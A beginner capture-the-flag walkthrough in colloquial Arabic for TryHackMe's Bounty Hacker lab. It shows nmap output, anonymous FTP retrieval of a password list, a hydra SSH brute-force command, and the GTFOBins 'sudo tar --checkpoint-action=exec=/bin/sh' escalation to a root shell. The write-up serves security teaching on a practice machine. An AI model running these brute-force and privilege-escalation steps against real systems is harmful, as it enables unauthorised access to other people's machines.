المقدّمة
Bounty Hacker هو واحد من التحديات الكلاسيكية على منصة TryHackMe، موجه للمبتدئين في عالم CTF والأمن السيبراني. الهدف منه هو تدريبك على خطوات أساسية كيما جمع المعلومات، كسر كلمات المرور، الوصول للنظام عبر SSH، وأخيرًا تصعيد الصلاحيات للحصول على صلاحيات root.
التحدي ما يتطلبش تقنيات متقدمة، بصح يعلمك كيفاش تربط بين المعطيات وتستغلها بطريقة منظمة.
💻 المنصة | Tryhackme (THM) |
🔗 الرابط | اضغط هنا |
🖥️ نظام التشغيل | Linux |
🎯 الصعوبة | ساهلة |
🧠 TTPs (طرق وتقنيات) | – تصعيد الصلاحيات |
فحص الشبكة بـ Nmap
أول حاجة درتها هي فحص شامل للآلة باستخدام nmap باش نشوف البورتات المفتوحة والخدمات اللي راهي دايرة تخدم.
➜ sudo nmap -A -T4 -sCV -p- 10.10.245.100 -oN bounty.nmap -vvv
# Nmap 7.95 scan initiated Mon Aug 4 13:26:37 2025 as: /usr/lib/nmap/nmap -A -T4 -sCV -oN bounty.nmap -v 10.10.227.89
Nmap scan report for 10.10.227.89
Host is up (0.079s latency).
Not shown: 967 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.23.150.79
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
| 256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
990/tcp closed ftps
40193/tcp closed unknown
40911/tcp closed unknown
41511/tcp closed unknown
42510/tcp closed caerpc
44176/tcp closed unknown
44442/tcp closed coldfusion-auth
44443/tcp closed coldfusion-auth
44501/tcp closed unknown
45100/tcp closed unknown
48080/tcp closed unknown
49152/tcp closed unknown
49153/tcp closed unknown
49154/tcp closed unknown
49155/tcp closed unknown
49156/tcp closed unknown
49157/tcp closed unknown
49158/tcp closed unknown
49159/tcp closed unknown
49160/tcp closed unknown
49161/tcp closed unknown
49163/tcp closed unknown
49165/tcp closed unknown
49167/tcp closed unknown
49175/tcp closed unknown
49176/tcp closed unknown
49400/tcp closed compaqdiag
49999/tcp closed unknown
50000/tcp closed ibm-db2
Aggressive OS guesses: Linux 4.15 (94%), Linux 2.6.32 - 3.13 (93%), Linux 3.10 - 4.11 (91%), Android 9 - 10 (Linux 4.9 - 4.14) (90%), Linux 3.2 - 4.14 (90%), Linux 4.15 - 5.19 (90%), Linux 2.6.32 - 3.10 (90%), Linux 5.4 (89%), HP P2000 G3 NAS device (89%), Linux 5.0 - 5.14 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 13.627 days (since Mon Jul 21 22:25:08 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 44442/tcp)
HOP RTT ADDRESS
1 79.05 ms 10.23.0.1
2 79.38 ms 10.10.227.89
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 4 13:27:26 2025 -- 1 IP address (1 host up) scanned in 49.32 seconds
- البورت 22 فيه خدمة SSH (OpenSSH 8.9)
- البورت 80 فيه موقع ويب بسيط يخدم بـ apache
- FTP مفتوح بدون كلمة سر (anonymous login مسموح)
الوصول المجهول لـ FTP وتحميل الملفات
بما أن FTP يسمح بالدخول بـ anonymous، دخلت بدون ما ندير login حقيقي:
➜ ftp anonymous@10.10.227.89
لقيت ملفين:
locks.txt
فيه مجموعة كلمات سرtask.txt
فيه تلميحات، بصح ما فيه حتى معلومة حساسة
حملتهم:
➜ bounty ftp anonymous@10.10.158.220
Connected to 10.10.158.220.
220 (vsFTPd 3.0.3)
230 Login successful.<br>Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> dir
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |****************************************************************************************************************| 418 8.80 KiB/s 00:00 ETA
226 Transfer complete.<br>418 bytes received in 00:00 (3.47 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |****************************************************************************************************************| 68 125.29 KiB/s 00:00 ETA<br>226 Transfer complete.<br>68 bytes received in 00:00 (0.92 KiB/s)
ftp>

تحليل الملفات والبحث عن كلمات السر
ملف locks.txt
شكله يشبه لقائمة كلمات سر. احتمال كبير يكون موجه لهجمات brute force. الملف الثاني كان مجرد ملاحظة عامة، ما فيهوش شيء تقني.
احتفظت بـ locks.txt
باش نرجع له كي نوصل لمحاولة تخمين كلمة سر.

التوجه للموقع واستخراج أسماء المستخدمين
رحت للموقع على البورت 80:
الصفحة فيها مجموعة أسماء باينة أنها من مسلسل Cowboy Bebop:spike
, jet
, faye
, ed
, ein
…
استنتجت أنها ممكن تكون أسماء مستخدمين،

كسر كلمات السر باستخدام hydra
من بعد ما جمعنا مجموعة من أسماء المستخدمين من صفحة الويب — واللي أغلبهم شخصيات من مسلسل Cowboy Bebop — قررنا نجرب نكسر كلمات السر على خدمة SSH باستخدام أداة hydra.
استعملنا لائحة الأسماء كمجموعة usernames، والفايل اللي حملناه من FTP كمجموعة كلمات سر. hydra قام بالمقارنة بيناتهم بطريقة brute force، ولقينا أنو الحساب lin يقدر يتصل بنجاح.
هاد الشي عطانا أول نقطة دخول حقيقية للنظام عبر SSH.
➜ hydra -L usernames.txt -P locks.txt $IP ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-04 14:51:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:10/p:26), ~17 tries per task
[DATA] attacking ssh://10.10.158.220:22/
[22][ssh] host: 10.10.158.220 login: lin password: Re************cat3
من بعد ما hydra كشف أنو الحساب lin عندو كلمة سر صحيحة، جربنا نسجل الدخول باستعمال:
ssh lin@$IP

محاولة التصعيد إلى صلاحيات الروت
من بعد ما حصلنا على علم المستخدم، كان الهدف التالي هو نحاول نوليوا روت.
أول حاجة درناها هي نستعمل الأمر:
sudo -l

باش نشوف واش المستخدم lin عندو صلاحيات sudo على شي أوامر بدون كلمة سر.
الإخراج كان مفاجئ شوية: عندنا صلاحية تشغيل الأمر tar
كمستخدم root بدون ما يطلب منا كلمة سر.
وهنا جات فكرة استغلال الأمر tar
من خلال تقنية معروفة ومذكورة فموقع GTFOBins، واللي تسمح لينا نستعمل tar
باش ننفذ أوامر كروت.
استغلال صلاحيات tar
للحصول على صلاحيات الروت
حسب الدوكيمونتاسيون في GTFOBins، نقدر نستغل tar
لتشغيل أمر كروت عبر هاد السطر:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

فعلاً، بعد ما جربنا السطر هذا، اتحلّ لينا شل كروت مباشرة، وولّينا نقدروا نديروا أي حاجة فالنظام بصلاحيات المدير.
من بعد دخلنا للمجلد /root
ولقينا فيه علم الروت:
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lin may run the following commands on bountyhacker:
(root) /bin/tar

وبهذا نكونوا كمّلنا التحدي بنجاح!
فيديو الشرح الكامل
هاد الفيديو فيه الشرح خطوة بخطوة لطريقة حل تحدي Bounty Hacker على TryHackMe، من الاسكان حتى لروت:
ما تنساش تدير لايك وسبسكرايب إذا عجبك المحتوى
الخاتمة
تحدي Bounty Hacker هو واحد من أسهل التحديات على منصة TryHackMe، ومثالي لأي مبتدئ حاب يبدا في عالم Capture The Flag.
تعلمنا فيه:
- كيفاش نحلل المنافذ المفتوحة ونفهم الخدمات.
- كيفاش نستغل FTP لتحميل ملفات مفيدة.
- كيفاش نستخدم hydra للبروت فورس على SSH.
- كيفاش نستخدم صلاحيات محدودة للوصول لصلاحيات الروت.
إذا كنت أول مرة تدخل لهذا المجال، متخافش، كل تحدي غادي يزيد يطوّرك ويخليك أقرب للإحتراف.
أي تساؤل ولا حبّيت تزيد تتعمق، خلّي تعليق أو تواصل معايا